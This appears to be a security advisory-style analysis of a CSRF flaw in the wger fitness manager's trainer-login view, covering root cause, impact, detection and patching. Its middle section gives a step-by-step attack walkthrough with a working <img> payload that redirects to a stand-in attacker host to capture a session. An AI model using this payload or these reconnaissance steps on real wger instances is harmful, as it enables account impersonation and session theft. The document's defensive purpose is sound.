CVE-2026-45161: 
Python vulnerability analysis and mitigation

CVE-2026-45161 is a Cross-Site Request Forgery (CSRF) vulnerability in the trainer_login view of wger, a free open-source workout and fitness manager. The flaw allows an attacker to forcibly rebind an authenticated trainer's session to an arbitrary user account by exploiting the fact that the view accepts GET requests without CSRF token validation. All wger versions prior to 2.6 are affected. It was published on October 7, 2026, with a CVSS v3.1 base score of 5.4 (Medium) (Github Advisory, wger Security Advisory).

The root cause (CWE-352) is that the trainer_login view in wger/core/views/user.py (approximately lines 161–210) handles GET requests and calls django_login() without any CSRF protection, because Django's CsrfViewMiddleware only enforces CSRF tokens on unsafe HTTP methods (POST, PUT, PATCH, DELETE). An attacker embeds a single <img> tag pointing to GET /en/user/<user_pk>/trainer-login on a malicious page; when an authenticated trainer's browser loads the page, it automatically issues the GET request with the session cookie attached. The SameSite=Lax cookie policy is bypassed via the server's own ?next= redirect chain: the server's 302 redirect to /user/login?next=... causes a same-origin hop that attaches the cookie, after which the server executes django_login() and issues a new session cookie bound to the victim user. The fix requires adding @require_POST to the view and moving the next parameter to the POST body (wger Security Advisory).

Successful exploitation allows an attacker to silently switch an authenticated trainer's browser session to any user account within the gym application, without the trainer's knowledge or consent. This results in low confidentiality impact (the trainer's session can be used to access victim user data) and low integrity impact (actions can be performed as the victim user). Combined with the ?next= open-redirect parameter, the post-impersonation redirect can send the trainer's browser to an attacker-controlled domain, enabling phishing and credential-harvesting attacks. Every wger deployment where the gym.gym_trainer role is delegated to non-admin users is affected (wger Security Advisory).

No public proof-of-concept exploit code or exploit kits have been identified beyond the Playwright/Chromium-verified PoC described in the security advisory itself, which was confirmed reproducible 2/2 runs. There is no evidence of in-the-wild exploitation, and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities catalog. The EPSS score is approximately 0.088% (0th percentile), indicating a low near-term exploitation probability. Exploitation requires the attacker to have low privileges (knowledge of a valid trainer account) and user interaction (the trainer must load a malicious page) (Github Advisory, Feedly).

1. Reconnaissance: Identify a publicly accessible wger instance running a version prior to 2.6. Enumerate user accounts to find a valid user_pk for a target gym member (e.g., via the /api/v2/userprofile/ endpoint if accessible).
2. Craft malicious page: Host an HTML page (evil.html) containing an <img> tag pointing to the vulnerable endpoint: <img src="https://target/en/user/2/trainer-login?next=//attacker.example/exfil">.
3. Deliver to trainer: Send the malicious page link to an authenticated trainer via phishing email, malicious link, gym management tool integration, ad network, or comment section with images.
4. Session rebinding: When the trainer's browser loads the page, it auto-issues GET /en/user/2/trainer-login?next=//attacker.example/exfil with the trainer's session cookie. The server's 302 redirect chain bypasses SameSite=Lax, django_login() executes, and the server responds with Set-Cookie: sessionid=[victim_session].
5. Confirm impersonation: The trainer's browser is redirected to //attacker.example/exfil, leaking the new session cookie. The attacker can then use this session to access GET /api/v2/userprofile/ and confirm they are operating as the victim user ({"username":"alice",...}) (wger Security Advisory).

• Network: Unexpected GET requests to /en/user/<id>/trainer-login originating from external or unusual IP addresses or referrers; outbound redirects from the wger server to external domains via the ?next= parameter.
• Logs: Web server access logs showing GET /en/user/<id>/trainer-login requests with a ?next= parameter pointing to external or attacker-controlled domains; multiple session cookie changes for a single trainer account in a short time window.
• Application Behavior: A trainer account unexpectedly operating under a different user identity (e.g., API responses returning a different username than expected); unusual access to /api/v2/userprofile/ immediately following a trainer-login GET request (wger Security Advisory).

Upgrade to wger version 2.6 or later, which fixes the issue by requiring POST for the trainer_login view (enforcing CSRF token validation via Django's CsrfViewMiddleware) and moving the next redirect parameter to the POST body to eliminate the open-redirect surface. No official configuration-based workaround is provided for versions prior to 2.6; as an interim measure, administrators can restrict access to the trainer-login endpoint at the network/WAF level or disable trainer impersonation functionality until patching is feasible (wger Security Advisory, wger Release 2.6).